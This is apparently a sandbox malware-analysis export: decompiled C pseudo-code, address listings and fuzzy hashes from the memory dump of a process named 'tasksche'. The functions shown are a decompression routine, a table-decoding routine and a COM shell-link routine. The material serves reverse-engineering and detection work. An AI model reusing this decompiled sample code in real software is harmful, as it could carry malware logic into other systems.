									_t250 = _t224 + 0xfffffefa;
									__eflags = _t250 - 8;
									if(_t250 >= 8) {
										_t311 = (_t250 >> 2) - 1;
										_v8 = ((_t250 & 0x00000003 | 0x00000004) << _t311) + 2;
										__eflags = _t311;
										if(_t311 > 0) {
											_t288 = E0040978C(_t443);
											_t398 = 0x10;
											_v8 = _v8 + (_t288 >> _t398 - _t311);
											_t291 =  *(_t443 + 4) + _t311;
											 *_t443 =  *_t443 + (_t291 >> 3);
											_t292 = _t291 & 0x00000007;
											__eflags = _t292;
											 *(_t443 + 4) = _t292;
										}
									} else {
										_v8 = _t250 + 2;
									}
									_v24 = _v8;
									_t257 = E0040978C(_t443);
									_t429 =  *(_t441 + 0xfa0);
									_t258 = _t257 & 0x0000fffe;
									__eflags = _t258 -  *((intOrPtr*)(_t441 + 0xf20 + _t429 * 4));
									if(_t258 >=  *((intOrPtr*)(_t441 + 0xf20 + _t429 * 4))) {
										_t312 = 0xf;
										_t363 = _t429 + 1;
										__eflags = _t363 - _t312;
										if(_t363 >= _t312) {
											L48:
											_t365 =  *(_t443 + 4) + _t312;
											 *(_t443 + 4) = _t365 & 0x00000007;
											 *_t443 =  *_t443 + (_t365 >> 3);
											_t367 = 0x10;
											_t261 = (_t258 -  *((intOrPtr*)(_t441 + 0xf1c + _t312 * 4)) >> _t367 - _t312) +  *((intOrPtr*)(_t441 + 0xf60 + _t312 * 4));
											__eflags = _t261 -  *((intOrPtr*)(_t441 + 0xf1c));
											if(_t261 >=  *((intOrPtr*)(_t441 + 0xf1c))) {
												_t261 = 0;
												__eflags = 0;
											}
											_t262 =  *(_t441 + 0x1ba4 + _t261 * 2) & 0x0000ffff;
											goto L51;
										}
										_t436 = _t441 + 0xf20 + _t363 * 4;
										while(1) {
											__eflags = _t258 -  *_t436;
											if(_t258 <  *_t436) {
												break;
											}
											_t363 = _t363 + 1;
											_t436 = _t436 + 4;
											__eflags = _t363 - 0xf;
											if(_t363 < 0xf) {
												continue;
											}
											goto L48;
										}
										_t312 = _t363;
										goto L48;
									} else {
										_t392 = 0x10;
										_t287 = _t258 >> _t392 - _t429;
										_t395 = ( *(_t287 + _t441 + 0xfa4) & 0x000000ff) +  *(_t443 + 4);
										 *_t443 =  *_t443 + (_t395 >> 3);
										 *(_t443 + 4) = _t395 & 0x00000007;
										_t262 =  *(_t441 + 0x13a4 + _t287 * 2) & 0x0000ffff;
										L51:
										__eflags = _t262 - 4;
										if(_t262 >= 4) {
											_t315 = (_t262 >> 1) - 1;
											_a4 = ((_t262 & 0x00000001 | 0x00000002) << _t315) + 1;
											__eflags = _t315;
											if(_t315 <= 0) {
												L70:
												_t432 = _a4;
												__eflags = _t432 - 0x100;
												if(_t432 <= 0x100) {
													_t370 = _v24;
												} else {
													_t370 = _v8 + 1;
													__eflags = _t432 - 0x2000;
													if(_t432 > 0x2000) {
														_t370 = _t370 + 1;
														__eflags = _t432 - 0x40000;
														if(_t432 > 0x40000) {
															_t370 = _t370 + 1;
														}
													}
												}
												_t267 = _v28;
												 *_t267 = 1;
												_t267[1] = _t370;
												_t267[2] = _t432;
												while(1) {
													_t214 =  *_t443;
													__eflags = _t214 - _v12;
													if(_t214 < _v12) {
														goto L15;
													}
													goto L9;
												}
											}
											__eflags = _t315 - 4;
											if(__eflags < 0) {
												_t268 = E00412AEB(_t443);
												_t373 = 0x20;
												_a4 = _a4 + (_t268 >> _t373 - _t315);
												_t271 =  *(_t443 + 4) + _t315;
												 *_t443 =  *_t443 + (_t271 >> 3);
												_t272 = _t271 & 0x00000007;
												__eflags = _t272;
												 *(_t443 + 4) = _t272;
												goto L70;
											}
											if(__eflags > 0) {
												_t280 = E00412AEB(_t443);
												_t390 = 0x24;
												_a4 = _a4 + (_t280 >> _t390 - _t315 << 4);
												_t320 =  *(_t443 + 4) + _t315 - 4;
												 *_t443 =  *_t443 + (_t320 >> 3);
												_t321 = _t320 & 0x00000007;
												__eflags = _t321;
												 *(_t443 + 4) = _t321;
											}
											_t273 = E0040978C(_t443);
											_t316 =  *(_t441 + 0x1e8c);
											_t274 = _t273 & 0x0000fffe;
											__eflags = _t274 -  *((intOrPtr*)(_t441 + 0x1e0c + _t316 * 4));
											if(_t274 >=  *((intOrPtr*)(_t441 + 0x1e0c + _t316 * 4))) {
												_t433 = 0xf;
												_t378 = _t316 + 1;
												__eflags = _t378 - _t433;
												if(_t378 >= _t433) {
													L65:
													_t380 =  *(_t443 + 4) + _t433;
													 *(_t443 + 4) = _t380 & 0x00000007;
													 *_t443 =  *_t443 + (_t380 >> 3);
													_t382 = 0x10;
													_t277 = (_t274 -  *((intOrPtr*)(_t441 + 0x1e08 + _t433 * 4)) >> _t382 - _t433) +  *((intOrPtr*)(_t441 + 0x1e4c + _t433 * 4));
													__eflags = _t277 -  *((intOrPtr*)(_t441 + 0x1e08));
													if(_t277 >=  *((intOrPtr*)(_t441 + 0x1e08))) {
														_t277 = 0;
														__eflags = 0;
													}
													_t278 =  *(_t441 + 0x2a90 + _t277 * 2) & 0x0000ffff;
													goto L68;
												}
												_t319 = _t441 + 0x1e0c + _t378 * 4;
												while(1) {
													__eflags = _t274 -  *_t319;
													if(_t274 <  *_t319) {
														break;
													}
													_t378 = _t378 + 1;
													_t319 = _t319 + 4;
													__eflags = _t378 - 0xf;
													if(_t378 < 0xf) {
														continue;
													}
													goto L65;
												}
												_t433 = _t378;
												goto L65;
											} else {
												_t384 = 0x10;
												_t279 = _t274 >> _t384 - _t316;
												_t387 = ( *(_t279 + _t441 + 0x1e90) & 0x000000ff) +  *(_t443 + 4);
												 *_t443 =  *_t443 + (_t387 >> 3);
												 *(_t443 + 4) = _t387 & 0x00000007;
												_t278 =  *(_t441 + 0x2290 + _t279 * 2) & 0x0000ffff;
												L68:
												_a4 = _a4 + _t278;
												goto L70;
											}
										}
										_a4 = _t262 + 1;
										goto L70;
									}
								}
								__eflags =  *(_t441 + 0x4ad8) - 1;
								if( *(_t441 + 0x4ad8) <= 1) {
									L34:
									 *_t306 =  *_t306 & 0x00000000;
									_t306[2] = _t224;
									_t236 = 0;
									goto L95;
								}
								__eflags =  *(_t306 - 0xc);
								if( *(_t306 - 0xc) != 0) {
									goto L34;
								}
								_t402 =  *(_t306 - 8) & 0x0000ffff;
								__eflags = _t402 - 3;
								if(_t402 >= 3) {
									goto L34;
								}
								_t403 = _t402 + 1;
								 *(_t306 - 8) = _t403;
								 *((_t403 & 0x0000ffff) + _t306 - 4) = _t224;
								 *(_t441 + 0x4ad8) =  *(_t441 + 0x4ad8) - 1;
								continue;
							}
						}
					} else {
						 *((char*)(_t441 + 0x4ad0)) = 1;
						L98:
						return _t214;
					}
				} else {
					 *((char*)(_t441 + 0x2c)) = 1;
					_t302 = E0041462B(__ebx, __ecx, _t441 + 4, _t441 + 0x18, _t441 + 0x30);
					if(_t302 != 0) {
						goto L3;
					} else {
						 *((char*)(_t441 + 0x4ad0)) = 1;
						return _t302;
					}
				}
			}

0x00414946
0x0041494d
0x00414954
0x00414957
0x0041497e
0x0041497e
0x00414985
0x0041498a
0x0041498c
0x0041499d
0x004149a4
0x004149a4
0x004149ae
0x004149b1
0x004149b3
0x004149b6
0x004149b9
0x004149bc
0x004149be
0x004149be
0x004149c1
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x004149c9
0x004149c9
0x004149cc
0x00414f03
0x00000000
0x00414f03
0x004149d2
0x004149e0
0x004149e0
0x004149e3
0x004149f2
0x004149f2
0x004149f8
0x00414efc
0x00414efc
0x00000000
0x00414efc
0x00000000
0x004149f8
0x004149e5
0x004149ec
0x00000000
0x00000000
0x00000000
0x004149ec
0x004149d7
0x004149da
0x00000000
0x00000000
0x00000000
0x004149fe
0x004149fe
0x00414a04
0x00414a09
0x00414a0f
0x00414a11
0x00414a13
0x00414a18
0x00414a19
0x00414a1f
0x00414a21
0x00414a28
0x00414a2a
0x00414a2c
0x00414a33
0x00414a33
0x00414a2c
0x00414a38
0x00414a43
0x00414a4c
0x00414a4f
0x00414a55
0x00414a5a
0x00414a60
0x00414a65
0x00414a69
0x00414a94
0x00414a95
0x00414a9c
0x00414a9f
0x00414ab7
0x00414aba
0x00414ac4
0x00414ac6
0x00414acc
0x00414ad3
0x00414ad8
0x00414adc
0x00414adf
0x00414ae1
0x00414ae1
0x00414ae1
0x00414ae3
0x00000000
0x00414ae3
0x00414aa1
0x00414aa5
0x00414aa5
0x00414aa7
0x00000000
0x00000000
0x00414aa9
0x00414aaa
0x00414aad
0x00414ab0
0x00000000
0x00000000
0x00000000
0x00414ab2
0x00414ab4
0x00000000
0x00414a6b
0x00414a6d
0x00414a70
0x00414a7a
0x00414a82
0x00414a87
0x00414a8a
0x00414aeb
0x00414af0
0x00414af2
0x00414b31
0x00414b36
0x00414d8d
0x00414d8f
0x00414de0
0x00414de5
0x00414df9
0x00414dff
0x00414e02
0x00414e07
0x00414e0d
0x00414e12
0x00414e19
0x00414e44
0x00414e45
0x00414e4c
0x00414e4f
0x00414e6a
0x00414e6d
0x00414e77
0x00414e79
0x00414e7f
0x00414e89
0x00414e8e
0x00414e95
0x00414e9b
0x00414e9d
0x00414e9d
0x00414e9d
0x00414e9f
0x00414ea7
0x00414ea7
0x00414eaa
0x00414eb9
0x00414ebf
0x00414ec3
0x00414ec4
0x00414ec7
0x00414ec9
0x00414ecd
0x00414ed4
0x00414eda
0x00414ee0
0x00414ee8
0x00414eea
0x00414eea
0x00414eed
0x00414ef0
0x00414ef0
0x00414eac
0x00414eac
0x00414eac
0x00414ef3
0x00414ef3
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x00000000
0x004149c7
0x004149c2
0x00414e51
0x00414e58
0x00414e58
0x00414e5a
0x00000000
0x00000000
0x00414e5c
0x00414e5d
0x00414e60
0x00414e63
0x00000000
0x00000000
0x00000000
0x00414e65
0x00414e67
0x00000000
0x00414e67
0x00414e1d
0x00414e20
0x00414e2a
0x00414e32
0x00414e37
0x00414e3a
0x00000000
0x00414e3a
0x00414de7
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x00000000
0x004149c7
0x004149c2
0x00414d97
0x00414d99
0x00414da3
0x00414daa
0x00414daf
0x00414db0
0x00414db2
0x00414dbd
0x00414dc4
0x00414dca
0x00414dd1
0x00414dd8
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x00000000
0x004149c7
0x004149c2
0x00414b3c
0x00414b41
0x00414b44
0x00414b56
0x00414b60
0x00414b63
0x00414b65
0x00414b69
0x00414b70
0x00414b75
0x00414b7b
0x00414b82
0x00414b84
0x00414b84
0x00414b87
0x00414b87
0x00414b46
0x00414b49
0x00414b49
0x00414b8f
0x00414b92
0x00414b97
0x00414b9d
0x00414ba2
0x00414ba9
0x00414bd6
0x00414bd7
0x00414bda
0x00414bdc
0x00414bf6
0x00414bf9
0x00414c00
0x00414c06
0x00414c11
0x00414c16
0x00414c1d
0x00414c23
0x00414c25
0x00414c25
0x00414c25
0x00414c27
0x00000000
0x00414c27
0x00414bde
0x00414be5
0x00414be5
0x00414be7
0x00000000
0x00000000
0x00414be9
0x00414bea
0x00414bed
0x00414bf0
0x00000000
0x00000000
0x00000000
0x00414bf2
0x00414bf4
0x00000000
0x00414bab
0x00414bad
0x00414bb0
0x00414bba
0x00414bc2
0x00414bc7
0x00414bca
0x00414c2f
0x00414c2f
0x00414c32
0x00414c44
0x00414c4d
0x00414c50
0x00414c52
0x00414d52
0x00414d52
0x00414d55
0x00414d5b
0x00414d75
0x00414d5d
0x00414d60
0x00414d61
0x00414d67
0x00414d69
0x00414d6a
0x00414d70
0x00414d72
0x00414d72
0x00414d70
0x00414d67
0x00414d78
0x00414d7b
0x00414d81
0x00414d85
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x00000000
0x004149c7
0x004149c2
0x00414c58
0x00414c5b
0x00414d31
0x00414d38
0x00414d3d
0x00414d43
0x00414d4a
0x00414d4c
0x00414d4c
0x00414d4f
0x00000000
0x00414d4f
0x00414c61
0x00414c65
0x00414c6c
0x00414c74
0x00414c7a
0x00414c83
0x00414c85
0x00414c85
0x00414c88
0x00414c88
0x00414c8d
0x00414c92
0x00414c98
0x00414c9d
0x00414ca4
0x00414cd1
0x00414cd2
0x00414cd5
0x00414cd7
0x00414cf1
0x00414cf4
0x00414cfb
0x00414d01
0x00414d0c
0x00414d11
0x00414d18
0x00414d1e
0x00414d20
0x00414d20
0x00414d20
0x00414d22
0x00000000
0x00414d22
0x00414cd9
0x00414ce0
0x00414ce0
0x00414ce2
0x00000000
0x00000000
0x00414ce4
0x00414ce5
0x00414ce8
0x00414ceb
0x00000000
0x00000000
0x00000000
0x00414ced
0x00414cef
0x00000000
0x00414ca6
0x00414ca8
0x00414cab
0x00414cb5
0x00414cbd
0x00414cc2
0x00414cc5
0x00414d2a
0x00414d2a
0x00000000
0x00414d2a
0x00414ca4
0x00414c35
0x00000000
0x00414c35
0x00414ba9
0x00414af4
0x00414afb
0x00414b24
0x00414b24
0x00414b27
0x00414b2a
0x00000000
0x00414b2a
0x00414afd
0x00414b01
0x00000000
0x00000000
0x00414b03
0x00414b07
0x00414b0b
0x00000000
0x00000000
0x00414b0d
0x00414b0e
0x00414b15
0x00414b19
0x00000000
0x00414b19
0x00414a69
0x0041498e
0x0041498e
0x00414f04
0x00000000
0x00414f04
0x00414959
0x00414965
0x00414969
0x00414970
0x00000000
0x00414972
0x00414972
0x00000000
0x00414972
0x00414970

APIs

_realloc.LIBCMT ref: 00414A21

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: _realloc
String ID:
API String ID: 1750794848-0
Opcode ID: 3f896a36bcdedd16947d6d0e695f173bb51ee08cdd737608f26534185599a9a2
Instruction ID: 2a1397d1efbb1e156a4ddc1088eaf27e515a490876f5f290c2ff2c2445328417
Opcode Fuzzy Hash: 3f896a36bcdedd16947d6d0e695f173bb51ee08cdd737608f26534185599a9a2
Instruction Fuzzy Hash: 0B02E5B1A106069BCB1DCF28C5916E9B7E1FF85304F24852ED556CBA85D338F9E1CB88

Uniqueness

Uniqueness Score: -1.00%

Function 00413EE3 Relevance: 1.8, APIs: 1, Instructions: 267
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E00413EE3(void* __ecx, unsigned int __edx) {
				signed int _v8;
				signed int _v12;
				char _v32;
				char _v60;
				char _v77;
				char _v137;
				char _v436;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t113;
				char _t119;
				signed int _t124;
				unsigned int _t125;
				signed int _t128;
				signed int _t129;
				signed int _t132;
				intOrPtr _t149;
				signed int _t155;
				signed int _t157;
				signed int _t158;
				signed int _t161;
				signed int _t162;
				void* _t172;
				void* _t173;
				signed int _t185;
				void* _t187;
				intOrPtr* _t189;
				signed int _t198;
				intOrPtr* _t200;
				void* _t201;
				signed int _t204;
				signed int _t210;
				signed int _t211;
				signed int _t219;
				signed int _t221;
				intOrPtr* _t222;
				intOrPtr* _t224;
				void* _t225;
				void* _t226;

				_t209 = __edx;
				_t173 = __ecx;
				_t224 = __ecx + 4;
				if( *_t224 <=  *((intOrPtr*)(__ecx + 0x78)) - 0x19) {
					L2:
					E004097BA(_t224,  ~( *(_t173 + 8)) & 0x00000007);
					_t113 = E004097D1(_t224);
					_t230 = _t113 & 0x00008000;
					if((_t113 & 0x00008000) == 0) {
						 *((intOrPtr*)(_t173 + 0xe654)) = 0;
						 *((intOrPtr*)(_t173 + 0x98c8)) = 0;
						 *((intOrPtr*)(_t173 + 0x98cc)) = 0;
						__eflags = _t113 & 0x00004000;
						if((_t113 & 0x00004000) == 0) {
							E0041A820(0, _t173 + 0xe4c0, 0, 0x194);
							_t226 = _t226 + 0xc;
						}
						E004097BA(_t224, 2);
						_v8 = 0;
						do {
							_v12 = E004097D1(_t224) >> 0x0000000c & 0x000000ff;
							E004097BA(_t224, 4);
							_t119 = _v12;
							__eflags = _t119 - 0xf;
							if(_t119 != 0xf) {
								 *((char*)(_t225 + _v8 - 0x1c)) = _t119;
								goto L16;
							}
							_t219 = E004097D1(_t224) >> 0x0000000c & 0x000000ff;
							E004097BA(_t224, 4);
							__eflags = _t219;
							if(_t219 != 0) {
								_t221 = _t219 + 2;
								while(1) {
									__eflags = _t221;
									if(_t221 <= 0) {
										break;
									}
									_t221 = _t221 - 1;
									__eflags = _v8 - 0x14;
									if(_v8 >= 0x14) {
										break;
									}
									_t23 =  &_v8;
									 *_t23 = _v8 + 1;
									__eflags =  *_t23;
									 *((char*)(_t225 + _v8 - 0x1c)) = 0;
								}
								_v8 = _v8 - 1;
								goto L16;
							}
							 *((char*)(_t225 + _v8 - 0x1c)) = 0xf;
							L16:
							_v8 = _v8 + 1;
							__eflags = _v8 - 0x14;
						} while (__eflags < 0);
						_t222 = _t173 + 0x3c44;
						E0041284B(__eflags,  &_v32, _t222, 0x14);
						_t37 =  &_v8;
						 *_t37 = _v8 & 0x00000000;
						__eflags =  *_t37;
						do {
							__eflags =  *_t224 -  *((intOrPtr*)(_t173 + 0x78)) - 5;
							if( *_t224 <=  *((intOrPtr*)(_t173 + 0x78)) - 5) {
								L20:
								_t124 = E0040978C(_t224);
								_t210 =  *(_t222 + 0x84);
								_t125 = _t124 & 0x0000fffe;
								__eflags = _t125 -  *((intOrPtr*)(_t222 + 4 + _t210 * 4));
								if(_t125 >=  *((intOrPtr*)(_t222 + 4 + _t210 * 4))) {
									_t211 = _t210 + 1;
									_v12 = 0xf;
									__eflags = _t211 - 0xf;
									if(_t211 >= 0xf) {
										L28:
										_t185 =  *(_t224 + 4) + _v12;
										 *_t224 =  *_t224 + (_t185 >> 3);
										_t209 = _v12;
										 *(_t224 + 4) = _t185 & 0x00000007;
										_t187 = 0x10;
										_t128 = (_t125 -  *((intOrPtr*)(_t222 + _v12 * 4)) >> _t187 - _v12) +  *((intOrPtr*)(_t222 + 0x44 + _t209 * 4));
										__eflags = _t128 -  *_t222;
										if(_t128 >=  *_t222) {
											_t128 = 0;
											__eflags = 0;
										}
										_t129 =  *(_t222 + 0xc88 + _t128 * 2) & 0x0000ffff;
										L31:
										__eflags = _t129 - 0x10;
										if(_t129 >= 0x10) {
											__eflags = _t129 - 0x12;
											_t189 = _t224;
											if(__eflags >= 0) {
												if(__eflags != 0) {
													_t132 = (E004097D1(_t189) >> 9) + 0xb;
													__eflags = _t132;
													_push(7);
												} else {
													_t132 = (E004097D1(_t189) >> 0xd) + 3;
													_push(3);
												}
												_v12 = _t132;
												E004097BA(_t224);
												while(1) {
													__eflags = _v12;
													if(_v12 <= 0) {
														goto L50;
													}
													_v12 = _v12 - 1;
													__eflags = _v8 - 0x194;
													if(_v8 >= 0x194) {
														goto L51;
													}
													_t90 =  &_v8;
													 *_t90 = _v8 + 1;
													__eflags =  *_t90;
													 *((char*)(_t225 + _v8 - 0x1b0)) = 0;
												}
												goto L50;
											}
											__eflags = _t129 - 0x10;
											if(_t129 != 0x10) {
												_t155 = (E004097D1(_t189) >> 9) + 0xb;
												__eflags = _t155;
												_push(7);
											} else {
												_t155 = (E004097D1(_t189) >> 0xd) + 3;
												_push(3);
											}
											_v12 = _t155;
											E004097BA(_t224);
											__eflags = _v8;
											if(_v8 > 0) {
												while(1) {
													__eflags = _v12;
													if(_v12 <= 0) {
														break;
													}
													_t157 = _v8;
													_v12 = _v12 - 1;
													__eflags = _t157 - 0x194;
													if(_t157 >= 0x194) {
														goto L51;
													}
													 *((char*)(_t225 + _t157 - 0x1b0)) =  *((intOrPtr*)(_t225 + _t157 - 0x1b1));
													_t158 = _t157 + 1;
													__eflags = _t158;
													_v8 = _t158;
												}
											}
											goto L50;
										}
										_t198 = _v8;
										_t209 =  *((intOrPtr*)(_t198 + _t173 + 0xe4c0)) + _t129 & 0x0000000f;
										 *(_t225 + _t198 - 0x1b0) =  *((intOrPtr*)(_t198 + _t173 + 0xe4c0)) + _t129 & 0x0000000f;
										_v8 = _t198 + 1;
										goto L50;
									}
									_t200 = _t222 + 4 + _t211 * 4;
									while(1) {
										__eflags = _t125 -  *_t200;
										if(_t125 <  *_t200) {
											break;
										}
										_t211 = _t211 + 1;
										_t200 = _t200 + 4;
										__eflags = _t211 - 0xf;
										if(_t211 < 0xf) {
											continue;
										}
										goto L28;
									}
									_v12 = _t211;
									goto L28;
								}
								_t201 = 0x10;
								_t161 = _t125 >> _t201 - _t210;
								_t204 = ( *(_t161 + _t222 + 0x88) & 0x000000ff) +  *(_t224 + 4);
								_t209 = _t204 >> 3;
								 *_t224 =  *_t224 + (_t204 >> 3);
								 *(_t224 + 4) = _t204 & 0x00000007;
								_t129 =  *(_t222 + 0x488 + _t161 * 2) & 0x0000ffff;
								goto L31;
							}
							_t162 = E0041236D(_t173, _t173, _t209);
							__eflags = _t162;
							if(_t162 == 0) {
								L52:
								_t149 = 0;
								L54:
								return _t149;
							}
							goto L20;
							L50:
							__eflags = _v8 - 0x194;
						} while (_v8 < 0x194);
						L51:
						__eflags =  *_t224 -  *((intOrPtr*)(_t173 + 0x78));
						 *((char*)(_t173 + 0xe658)) = 1;
						if(__eflags <= 0) {
							E0041284B(__eflags,  &_v436, _t173 + 0x94, 0x12b);
							E0041284B(__eflags,  &_v137, _t173 + 0xf80, 0x3c);
							E0041284B(__eflags,  &_v77, _t173 + 0x1e6c, 0x11);
							E0041284B(__eflags,  &_v60, _t173 + 0x2d58, 0x1c);
							_t174 = _t173 + 0xe4c0;
							__eflags = _t173 + 0xe4c0;
							E0041C290(_t173 + 0xe4c0, _t222, _t224, _t174,  &_v436, 0x194);
							_t149 = 1;
							goto L54;
						}
						goto L52;
					}
					 *((intOrPtr*)(_t173 + 0xe654)) = 1;
					return E00413A86(_t173 + 0x98d0, _t209, _t230, _t173, _t173 + 0xe4bc);
				}
				_t172 = E0041236D(__ecx, __ecx, __edx);
				if(_t172 != 0) {
					goto L2;
				}
				return _t172;
			}

0x00413ee3
0x00413eed
0x00413ef3
0x00413efb
0x00413f0a
0x00413f15
0x00413f1c
0x00413f21
0x00413f26
0x00413f4d
0x00413f53
0x00413f59
0x00413f5f
0x00413f64
0x00413f73
0x00413f78
0x00413f78
0x00413f7f
0x00413f84
0x00413f87
0x00413f98
0x00413f9b
0x00413fa0
0x00413fa3
0x00413fa6
0x00413fee
0x00000000
0x00413fee
0x00413fb6
0x00413fb9
0x00413fbe
0x00413fc0
0x00413fcd
0x00413fe2
0x00413fe2
0x00413fe4
0x00000000
0x00000000
0x00413fd0
0x00413fd1
0x00413fd5
0x00000000
0x00000000
0x00413fda
0x00413fda
0x00413fda
0x00413fdd
0x00413fdd
0x00413fe6
0x00000000
0x00413fe6
0x00413fc5
0x00413ff2
0x00413ff2
0x00413ff5
0x00413ff5
0x00413ffd
0x0041400a
0x0041400f
0x0041400f
0x0041400f
0x00414013
0x00414019
0x0041401b
0x0041402c
0x0041402e
0x00414033
0x00414039
0x0041403e
0x00414042
0x0041406d
0x0041406e
0x00414075
0x00414078
0x00414090
0x00414093
0x0041409d
0x0041409f
0x004140a5
0x004140ab
0x004140b0
0x004140b4
0x004140b6
0x004140b8
0x004140b8
0x004140b8
0x004140ba
0x004140c2
0x004140c2
0x004140c5
0x004140e6
0x004140e9
0x004140eb
0x00414147
0x00414160
0x00414160
0x00414163
0x00414149
0x00414151
0x00414154
0x00414154
0x00414167
0x0041416a
0x0041418b
0x0041418b
0x0041418f
0x00000000
0x00000000
0x00414171
0x00414174
0x0041417b
0x00000000
0x00000000
0x00414180
0x00414180
0x00414180
0x00414183
0x00414183
0x00000000
0x0041418b
0x004140ed
0x004140f0
0x00414109
0x00414109
0x0041410c
0x004140f2
0x004140fa
0x004140fd
0x004140fd
0x00414110
0x00414113
0x00414118
0x0041411c
0x0041413f
0x0041413f
0x00414143
0x00000000
0x00000000
0x00414120
0x00414123
0x00414126
0x0041412b
0x00000000
0x00000000
0x00414134
0x0041413b
0x0041413b
0x0041413c
0x0041413c
0x00414145
0x00000000
0x0041411c
0x004140c7
0x004140d3
0x004140d6
0x004140de
0x00000000
0x004140de
0x0041407a
0x0041407e
0x0041407e
0x00414080
0x00000000
0x00000000
0x00414082
0x00414083
0x00414086
0x00414089
0x00000000
0x00000000
0x00000000
0x0041408b
0x0041408d
0x00000000
0x0041408d
0x00414046
0x00414049
0x00414053
0x00414058
0x0041405b
0x00414060
0x00414063
0x00000000
0x00414063
0x0041401f
0x00414024
0x00414026
0x004141ac
0x004141ac
0x00414226
0x00000000
0x00414226
0x00000000
0x00414191
0x00414191
0x00414191
0x0041419e
0x004141a0
0x004141a3
0x004141aa
0x004141c5
0x004141dc
0x004141f0
0x00414204
0x00414215
0x00414215
0x0041421c
0x00414224
0x00000000
0x00414224
0x00000000
0x004141aa
0x00413f36
0x00000000
0x00413f40
0x00413efd
0x00413f04
0x00000000
0x00000000
0x0041422a

APIs

_memset.LIBCMT ref: 00413F73

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 9c54e9cdedc4d1f5f0a70ee5fbfd421263a38b40d6fcac4ed0c82430486a0b60
Instruction ID: 3562be7dcc5a33f83423fe2ddc28cf6e78eed116dec30ec79901489c8d2199a3
Opcode Fuzzy Hash: 9c54e9cdedc4d1f5f0a70ee5fbfd421263a38b40d6fcac4ed0c82430486a0b60
Instruction Fuzzy Hash: CBA11472A00208EBDB04DF65C581BED77B5AB94304F24447FE942EB282C77C9AC2DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00419BB0 Relevance: 1.6, APIs: 1, Instructions: 89
comCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E00419BB0(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				void* _v8;
				void* _v12;
				char* _t34;
				intOrPtr* _t36;
				intOrPtr* _t38;
				intOrPtr* _t40;
				intOrPtr* _t42;
				intOrPtr* _t44;
				intOrPtr* _t46;
				intOrPtr* _t48;
				intOrPtr* _t50;
				intOrPtr* _t52;
				intOrPtr* _t54;
				void* _t56;
				void* _t57;
				intOrPtr _t63;

				_t34 =  &_v8;
				_t57 = 0;
				__imp__CoCreateInstance(0x42b1f8, 0, 1, 0x42b148, _t34, _t56, __ecx, __ecx);
				if(_t34 >= 0) {
					_t36 = _v8;
					_push( &_v12);
					_push(0x42b1e8);
					_push(_t36);
					if( *((intOrPtr*)( *_t36))() >= 0) {
						if(_a4 != 0) {
							_t54 = _v12;
							 *((intOrPtr*)( *_t54 + 0x14))(_t54, _a12, 2);
						}
						_t40 = _v8;
						 *((intOrPtr*)( *_t40 + 0x50))(_t40, _a8);
						if(_a20 != _t57) {
							_t52 = _v8;
							 *((intOrPtr*)( *_t52 + 0x1c))(_t52, _a20);
						}
						_t42 = _v8;
						_t63 =  *_t42;
						_push(_t57);
						if(_a24 != _t57) {
							_push(_a24);
						} else {
							_push(0x42a73c);
						}
						 *((intOrPtr*)(_t63 + 0x44))(_t42);
						if(_a28 != _t57) {
							_t50 = _v8;
							 *((intOrPtr*)( *_t50 + 0x2c))(_t50, _a28);
						}
						if(_a16 != _t57) {
							_t48 = _v8;
							 *((intOrPtr*)( *_t48 + 0x24))(_t48, _a16);
						}
						_t44 = _v12;
						_push(1);
						_push(_a12);
						_push(_t44);
						if( *((intOrPtr*)( *_t44 + 0x18))() >= 0) {
							_t57 = 1;
						}
						_t46 = _v12;
						 *((intOrPtr*)( *_t46 + 8))(_t46);
					}
					_t38 = _v8;
					 *((intOrPtr*)( *_t38 + 8))(_t38);
				}
				return _t57;
			}

0x00419bb6
0x00419bc1
0x00419bc9
0x00419bd1
0x00419bd7
0x00419bdf
0x00419be0
0x00419be5
0x00419bea
0x00419bf3
0x00419bf5
0x00419c00
0x00419c00
0x00419c03
0x00419c0c
0x00419c12
0x00419c14
0x00419c1d
0x00419c1d
0x00419c20
0x00419c23
0x00419c25
0x00419c29
0x00419c32
0x00419c2b
0x00419c2b
0x00419c2b
0x00419c36
0x00419c3c
0x00419c3e
0x00419c47
0x00419c47
0x00419c4d
0x00419c4f
0x00419c58
0x00419c58
0x00419c5b
0x00419c60
0x00419c62
0x00419c65
0x00419c6b
0x00419c6d
0x00419c6d
0x00419c6f
0x00419c75
0x00419c75
